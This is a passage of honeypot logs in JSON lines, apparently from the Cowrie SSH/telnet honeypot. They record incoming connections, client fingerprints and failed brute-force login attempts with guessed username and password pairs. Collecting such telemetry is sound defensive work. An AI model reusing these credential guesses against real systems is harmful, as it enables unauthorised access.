h-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:57.882875Z","src_ip":"196.189.51.7","session":"ff96ee56d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7182559967041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:58.111530Z","src_ip":"95.141.175.198","session":"2a33c8b99ef6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass@123","message":"login attempt [test/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:58.577751Z","src_ip":"196.189.51.7","session":"ff96ee56d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:59.747381Z","src_ip":"196.189.51.7","session":"ff96ee56d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49548,"dst_ip":"159.203.135.109","dst_port":22,"session":"44dab8fe6981","protocol":"ssh","message":"New connection: 159.203.92.129:49548 (159.203.135.109:22) [session: 44dab8fe6981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:01.482674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:01.487756Z","src_ip":"159.203.92.129","session":"44dab8fe6981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:01.493646Z","src_ip":"159.203.92.129","session":"44dab8fe6981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"222222","message":"login attempt [Zhanghua/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:01.517447Z","src_ip":"159.203.92.129","session":"44dab8fe6981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:02.533279Z","src_ip":"159.203.92.129","session":"44dab8fe6981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":54092,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e4fed2e2495","protocol":"ssh","message":"New connection: 185.216.119.134:54092 (10.17.0.5:22) [session: 6e4fed2e2495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:11.016838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:11.023526Z","src_ip":"185.216.119.134","session":"6e4fed2e2495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:11.899875Z","src_ip":"185.216.119.134","session":"6e4fed2e2495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword","message":"login attempt [root/newpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:13.070201Z","src_ip":"185.216.119.134","session":"6e4fed2e2495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:14.292198Z","src_ip":"185.216.119.134","session":"6e4fed2e2495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d60bcaef50e3","protocol":"ssh","message":"New connection: 159.203.92.129:40856 (159.203.135.109:22) [session: d60bcaef50e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:45.983224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:45.999000Z","src_ip":"159.203.92.129","session":"d60bcaef50e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:46.005165Z","src_ip":"159.203.92.129","session":"d60bcaef50e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"333333","message":"login attempt [Zhanghua/333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:46.030665Z","src_ip":"159.203.92.129","session":"d60bcaef50e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55596,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59b285a1de4","protocol":"ssh","message":"New connection: 80.94.92.186:55596 (159.203.135.109:22) [session: b59b285a1de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:46.373202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:46.492828Z","src_ip":"80.94.92.186","session":"b59b285a1de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:46.532074Z","src_ip":"80.94.92.186","session":"b59b285a1de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:47.038140Z","src_ip":"159.203.92.129","session":"d60bcaef50e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr123","message":"login attempt [mapr/mapr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:48.373723Z","src_ip":"80.94.92.186","session":"b59b285a1de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:57:49.743473Z","src_ip":"80.94.92.186","session":"b59b285a1de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":43196,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd20d6f8927","protocol":"ssh","message":"New connection: 185.216.119.134:43196 (10.17.0.5:22) [session: 8dd20d6f8927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:11.262971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:11.278306Z","src_ip":"185.216.119.134","session":"8dd20d6f8927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:11.875348Z","src_ip":"185.216.119.134","session":"8dd20d6f8927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123123","message":"login attempt [sftpuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:13.349220Z","src_ip":"185.216.119.134","session":"8dd20d6f8927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":45852,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c5ca8ae5cd","protocol":"ssh","message":"New connection: 173.249.6.197:45852 (159.203.135.109:22) [session: b5c5ca8ae5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:14.187984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:14.192495Z","src_ip":"173.249.6.197","session":"b5c5ca8ae5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:14.288396Z","src_ip":"173.249.6.197","session":"b5c5ca8ae5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:14.573893Z","src_ip":"185.216.119.134","session":"8dd20d6f8927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password!@#x","message":"login attempt [admin/Password!@#x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:14.703915Z","src_ip":"173.249.6.197","session":"b5c5ca8ae5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:15.803811Z","src_ip":"173.249.6.197","session":"b5c5ca8ae5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48818,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c5ffdb008a2","protocol":"ssh","message":"New connection: 159.203.92.129:48818 (159.203.135.109:22) [session: 0c5ffdb008a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:30.295900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:30.300656Z","src_ip":"159.203.92.129","session":"0c5ffdb008a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:30.304981Z","src_ip":"159.203.92.129","session":"0c5ffdb008a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"666666","message":"login attempt [Zhanghua/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:30.315501Z","src_ip":"159.203.92.129","session":"0c5ffdb008a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:58:31.325946Z","src_ip":"159.203.92.129","session":"0c5ffdb008a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.185","src_port":64654,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b6c35ed0577","protocol":"ssh","message":"New connection: 205.210.31.185:64654 (159.203.135.109:22) [session: 9b6c35ed0577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:00.005785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:00.933064Z","src_ip":"205.210.31.185","session":"9b6c35ed0577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96